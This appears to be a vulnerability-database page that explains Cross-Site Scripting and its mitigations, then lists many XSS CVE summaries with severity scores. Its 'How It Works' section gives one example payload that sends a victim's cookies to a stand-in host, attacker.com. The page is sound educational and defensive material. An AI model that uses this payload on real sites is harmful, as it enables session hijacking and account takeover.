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Cross-Site Scripting

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Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39249)

EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

LibreNMS through 21.10.2 allows XSS via a widget title. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Librenms
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Pandora FMS through 755 allows XSS via a new Event Filter with a crafted name. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Pandora Fms
NVD VulDB
EPSS 1% CVSS 5.4
MEDIUM POC This Month

In Mahara before 20.04.5, 20.10.3, 21.04.2, and 21.10.0, certain tag syntax could be used for XSS, such as via a SCRIPT element. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Mahara
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Multiple uncontrolled resource consumption vulnerabilities in the web interface of FortiPortal before 6.0.6 may allow a single low-privileged user to induce a denial of service via multiple HTTP. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Denial Of Service XSS Fortiportal
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM InfoSphere Information Server 11.7 is vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

IBM XSS Infosphere Information Server
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

Cross Site Scripting (XSS) vulnerability in DynPG 4.9.1, allows authenticated attackers to execute arbitrary code via the groupname. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS RCE Dynpg
NVD Exploit-DB VulDB
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Missing output sanitization in test sources in org.webjars.bowergithub.vaadin:vaadin-menu-bar versions 1.0.0 through 1.2.0 (Vaadin 14.0.0 through 14.4.4) allows remote attackers to execute malicious. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Vaadin Vaadin Menu Bar
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

Affected versions of Atlassian Jira Server and Data Center allow anonymous remote attackers to inject arbitrary HTML or JavaScript via a Cross-Site Scripting (XSS) vulnerability in the Associated. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Atlassian Jira Software Data Center
NVD
EPSS 1% CVSS 4.8
MEDIUM POC PATCH This Month

The Google Maps Easy WordPress plugin is vulnerable to Stored Cross-Site Scripting due to insufficient input validation and sanitization via several parameters found in the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

Google WordPress XSS +2
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC PATCH This Month

The Notification WordPress plugin is vulnerable to Stored Cross-Site Scripting due to insufficient input validation and sanitization via several parameters found in the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

WordPress XSS PHP +1
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The NextScripts: Social Networks Auto-Poster <= 4.3.20 WordPress plugin is vulnerable to Reflected Cross-Site Scripting via the $_REQUEST['page'] parameter which is echoed out on. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS PHP +1
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross site scripting (XSS) vulnerability in McAfee Data Loss Prevention (DLP) ePO extension prior to 11.7.100 allows a remote attacker to highjack an active DLP ePO administrator session by. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Data Loss Prevention Endpoint
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

AVideo/YouPHPTube 10.0 and prior is affected by multiple reflected Cross Script Scripting vulnerabilities via the videoName parameter which allows a remote attacker to steal administrators' session. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Youphptube
NVD VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

AVideo/YouPHPTube 10.0 and prior has multiple reflected Cross Script Scripting vulnerabilities via the u parameter which allows a remote attacker to steal administrators' session cookies or perform. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Youphptube
NVD VulDB
EPSS 1% CVSS 6.1
MEDIUM POC This Month

AVideo/YouPHPTube AVideo/YouPHPTube 10.0 and prior has multiple reflected Cross Script Scripting vulnerabilities via the searchPhrase parameter which allows a remote attacker to steal administrators'. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Youphptube
NVD VulDB
EPSS 1% CVSS 4.8
MEDIUM POC PATCH This Month

The Events Made Easy WordPress plugin before 2.2.24 does not sanitise and escape Custom Field Names, allowing high privilege users to perform Cross-Site Scripting attacks even when the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

WordPress XSS Events Made Easy
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

The BP Better Messages WordPress plugin before 1.9.9.41 sanitise (with sanitize_text_field) but does not escape the 'subject' parameter before outputting it back in an attribute, leading to a. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

WordPress XSS Better Messages
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Connections Business Directory WordPress plugin before 10.4.3 does not escape the Address settings when creating an Entry, which could allow high privilege users to perform Cross-Site Scripting. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Connections Business Directory
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The WPeMatico RSS Feed Fetcher WordPress plugin before 2.6.12 does not escape the Feed URL added to a campaign before outputting it in an attribute, allowing high privilege users to perform. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wpematico Rss Feed Fetcher
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Flat Preloader WordPress plugin before 1.5.5 does not escape some of its settings when outputting them in attribute in the frontend, which could allow high privilege users to perform Cross-Site. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Flat Preloader
NVD WPScan
EPSS 3% CVSS 4.8
MEDIUM POC This Month

The WordPress Download Manager WordPress plugin before 3.2.16 does not escape some of the Download settings when outputting them, allowing high privilege users to perform XSS attacks even when the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Download Manager
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The WP Reactions Lite WordPress plugin before 1.3.6 does not properly sanitize inputs within wp-admin pages, allowing users with sufficient access to inject XSS payloads within /wp-admin/ pages. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Reactions Lite
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Restaurant Menu by MotoPress WordPress plugin before 2.4.2 does not properly sanitize or escape inputs when creating new menu items, which could allow high privilege users to perform Cross-Site. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Restaurant Menu
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The Modern Events Calendar Lite WordPress plugin before 5.22.3 does not properly sanitize or escape values set by users with access to adjust settings withing wp-admin. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Modern Events Calendar Lite
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The WP Sitemap Page WordPress plugin before 1.7.0 does not properly sanitise and escape some of its settings, which could allow high privilege users to perform Cross-Site Scripting attacks even when. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Sitemap Page
NVD WPScan
EPSS 0% CVSS 5.4
MEDIUM POC This Month

The Flat Preloader WordPress plugin before 1.5.4 does not enforce nonce checks when saving its settings, as well as does not sanitise and escape them, which could allow attackers to a make logged in. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Flat Preloader
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The Cool Tag Cloud WordPress plugin before 2.26 does not escape the style attribute of the cool_tag_cloud shortcode, which could allow users with a role as low as Contributor to perform Stored. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Cool Tag Cloud
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The MP3 Audio Player for Music, Radio & Podcast by Sonaar WordPress plugin before 2.4.2 does not properly sanitize or escape data in some of its Playlist settings, allowing high privilege users to. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Mp3 Audio Player For Music Radio Podcast
NVD WPScan
EPSS 0% CVSS 4.3
MEDIUM POC PATCH This Month

The Accept Donations with PayPal WordPress plugin before 1.3.1 offers a function to create donation buttons, which internally are posts. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

CSRF WordPress XSS +1
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Coming Soon, Under Construction & Maintenance Mode By Dazzler WordPress plugin before 1.6.7 does not sanitise or escape its description setting when outputting it in the frontend when the Coming. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Coming Soon Under Construction Maintenance Mode By Dazzler
NVD WPScan
EPSS 1% CVSS 4.3
MEDIUM This Month

A missing HTTP header (X-Frame-Options) in Kiwi Syslog Server has left customers vulnerable to click jacking. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Kiwi Syslog Server
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Certain HP Enterprise LaserJet and PageWide MFPs may be vulnerable to stored cross site scripting (XSS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS HP Futuresmart 4 +1
NVD
EPSS 2% CVSS 4.8
MEDIUM POC This Month

A potential security vulnerability has been identified for the HP OfficeJet 7110 Wide Format ePrinter that enables Cross-Site Scripting (XSS). Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS HP Officejet 7110 Firmware
NVD Exploit-DB
EPSS 4% CVSS 6.1
MEDIUM POC This Month

SysAid 20.4.74 allows XSS via the KeepAlive.jsp stamp parameter without any authentication. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Sysaid
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

TikiWiki v21.4 was discovered to contain a cross-site scripting (XSS) vulnerability in the component tiki-calendar.php. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Tikiwiki Cms Groupware
NVD GitHub
EPSS 0% CVSS 5.4
MEDIUM POC This Month

TikiWiki v21.4 was discovered to contain a cross-site scripting (XSS) vulnerability in the component tiki-browse_categories.php. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Tikiwiki Cms Groupware
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross Site Scripting (XSS) vulnerability exists in Sourcecodester News247 CMS 1.0 via the search function in articles. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS News247 Cms
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

grav is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Grav
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

Multiple vulnerabilities in the web-based management interface of Cisco Firepower Management Center (FMC) Software could allow an attacker to execute a cross-site scripting (XSS) attack or an open. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

Cisco Open Redirect XSS +3
NVD
EPSS 0% CVSS 4.8
MEDIUM This Month

Multiple vulnerabilities in the web-based management interface of Cisco Firepower Management Center (FMC) Software could allow an attacker to execute a cross-site scripting (XSS) attack or an open. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Cisco Open Redirect XSS +3
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A Stored Cross Site Scripting (XSS) vunerability exists in Sourcecodeste Vehicle Parking Management System affected version 1.0 is via the add-vehicle.php endpoint. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Vehicle Parking Management System
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM Jazz Team Server products are vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

IBM XSS Engineering Lifecycle Optimization +4
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

IBM Jazz Team Server products are vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

IBM XSS Engineering Lifecycle Optimization +5
NVD
EPSS 0% CVSS 5.4
MEDIUM PATCH This Month

MyBB before 1.8.28 allows stored XSS because the displayed Template Name value in the Admin CP's theme management is not escaped properly. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Mybb
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM This Month

The Web Reporting component of TIBCO Software Inc.'s TIBCO Nimbus contains easily exploitable Stored Cross Site Scripting (XSS) vulnerabilities that allow a low privileged attacker to social engineer. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Nimbus
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Shopware is open source e-commerce software. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

Nginx XSS Shopware
NVD GitHub
EPSS 45% CVSS 6.1
MEDIUM PATCH This Month

jQuery-UI is the official jQuery user interface library. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Jquery Ui Fedora +25
NVD GitHub
EPSS 8% CVSS 6.1
MEDIUM POC PATCH This Month

jQuery-UI is the official jQuery user interface library. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Jquery Ui Fedora +26
NVD GitHub
EPSS 42% CVSS 6.1
MEDIUM POC PATCH THREAT This Month

jQuery-UI is the official jQuery user interface library. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS Jquery Ui Fedora +27
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

Pi-hole's Web interface (based on AdminLTE) provides a central location to manage one's Pi-hole and review the statistics generated by FTLDNS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

XSS Web Interface
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

AS_Redis is an AntSword plugin for Redis. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

Redis RCE XSS +1
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Affected versions of Atlassian Jira Server and Data Center allow anonymous remote attackers to inject arbitrary HTML or JavaScript via a Cross-Site Scripting (XSS) vulnerability in the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Atlassian Data Center +3
NVD
EPSS 2% CVSS 6.5
MEDIUM PATCH This Month

Nextcloud is an open-source, self-hosted productivity platform. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, low attack complexity.

Nextcloud XSS Server
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM This Month

Nextcloud is an open-source, self-hosted productivity platform. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

Nextcloud XSS Contacts
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Galette is a membership management web application geared towards non profit organizations. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Galette
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

The YOP Poll WordPress plugin before 6.1.2 does not escape the perpage parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

WordPress XSS Yop Poll
NVD WPScan
EPSS 3% CVSS 9.6
CRITICAL POC PATCH Act Now

The Formidable Form Builder WordPress plugin before 4.09.05 allows to inject certain HTML Tags like <audio>,<video>,<img>,<a> and<button>.This could allow an unauthenticated, remote attacker to. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

RCE PHP CSRF +3
NVD GitHub WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Great Quotes WordPress plugin through 1.0.0 does not sanitise and escape the Quote and Author fields of its Quotes, which could allow high privilege users to perform Cross-Site Scripting attacks. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Great Quotes
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The WordPress Contact Forms by Cimatti WordPress plugin before 1.4.12 does not sanitise and escape the Form Title before outputting it in some admin pages. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Contact Forms
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The Easy Media Download WordPress plugin before 1.1.7 does not escape the text argument of its shortcode, which could allow users with a role as low as Contributor to perform Stored Cross-Site. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Easy Media Download
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Cookie Bar WordPress plugin before 1.8.9 doesn't properly sanitise the Cookie Bar Message setting, which could allow high privilege users to perform Cross-Site Scripting attacks even when the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Cookie Bar
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC PATCH This Month

The Formidable Form Builder - Contact Form, Survey & Quiz Forms Plugin for WordPress plugin before 5.0.07 does not sanitise and escape its Form's Labels, allowing high privileged users to perform. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

WordPress XSS Formidable Form Builder
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The Responsive WordPress Slider WordPress plugin through 2.2.0 does not sanitise and escape some of the Slider options, allowing Cross-Site Scripting payloads to be set in them. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

Privilege Escalation WordPress XSS +1
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The jQuery Reply to Comment WordPress plugin through 1.31 does not have any CSRF check when saving its settings, nor sanitise or escape its 'Quote String' and 'Reply String' settings before. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

CSRF WordPress XSS +1
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Video Gallery WordPress plugin before 1.1.5 does not escape the Title and Description of the videos in a gallery before outputting them in attributes, leading to Stored Cross-Site Scripting issues. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Video Gallery
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Visual Form Builder WordPress plugin before 3.0.4 does not sanitise or escape its Form Name, allowing high privilege users such as admin to set Cross-Site Scripting payload in them, even when the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Visual Form Builder
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Request a Quote WordPress plugin before 2.3.9 does not sanitise, validate or escape some of its settings in the admin dashboard, leading to authenticated Stored Cross-Site Scripting issues even. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Request A Quote
NVD WPScan
EPSS 1% CVSS 8.8
HIGH POC This Week

The St-Daily-Tip WordPress plugin through 4.7 does not have any CSRF check in place when saving its 'Default Text to Display if no tips' setting, and was also lacking sanitisation as well as escaping. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

CSRF WordPress XSS +1
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Special Text Boxes WordPress plugin before 5.9.110 does not sanitise or escape some of its settings, which could allow high privilege users to perform Cross-Site Scripting attacks even when the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp Special Textboxes
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The Video Player for YouTube WordPress plugin before 1.4 does not sanitise or validate the parameters from its shortcode, allowing users with a role as low as contributor to set Cross-Site Scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Video Player For Youtube
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The Ninja Forms Contact Form WordPress plugin before 3.5.8.2 does not sanitise and escape the custom class name of the form field created, which could allow high privilege users to perform Cross-Site. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Contact Form
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

In PiranhaCMS, versions 7.0.0 to 9.1.1 are vulnerable to stored XSS due to the page title improperly sanitized. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Piranha Cms
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

IBM Business Automation Workflow 18.0, 19.0, 20.0, and 21.0 is vulnerable to cross-site scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

IBM XSS Business Automation Workflow
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

The affected product’s web application does not properly neutralize the input during webpage generation, which could allow an attacker to inject code in the input forms. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Tracer Sc Firmware
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability exists in Csdn APP 4.10.0, which can be exploited by attackers to obtain sensitive information such as user cookies. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Csdn App
NVD GitHub
EPSS 11% CVSS 6.1
MEDIUM POC THREAT This Month

The login portal for the Automated Logic WebCTRL/WebCTRL OEM web application contains a vulnerability that allows for reflected XSS attacks due to the operatorlocale GET parameter not being. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Webctrl
NVD GitHub Exploit-DB
EPSS 1% CVSS 4.8
MEDIUM This Month

Cross-Site Scripting vulnerability in McAfee ePolicy Orchestrator (ePO) prior to 5.10 Update 11 allows ePO administrators to inject arbitrary web script or HTML via a specific parameter where the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Epolicy Orchestrator
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

Stored Cross-Site Scripting vulnerability in McAfee ePolicy Orchestrator (ePO) prior to 5.10 Update 11 allows ePO administrators to inject arbitrary web script or HTML via multiple parameters where. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Epolicy Orchestrator
NVD
EPSS 1% CVSS 4.8
MEDIUM PATCH This Month

Sulu is an open-source PHP content management system based on the Symfony framework. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

PHP XSS Sulu
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

Reflected Cross-Site Scripting (XSS) vulnerability in WordPress Ivory Search plugin (versions <= 4.6.6). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Ivory Search
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

"HCL Connections Security Update for Reflected Cross-Site Scripting (XSS) Vulnerability". Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Connections
NVD
EPSS 1% CVSS 4.8
MEDIUM POC PATCH This Month

The Leaky Paywall WordPress plugin is vulnerable to Stored Cross-Site Scripting due to insufficient input validation and sanitization via the ~/class.php file which allowed attackers with. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.

WordPress XSS PHP +1
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

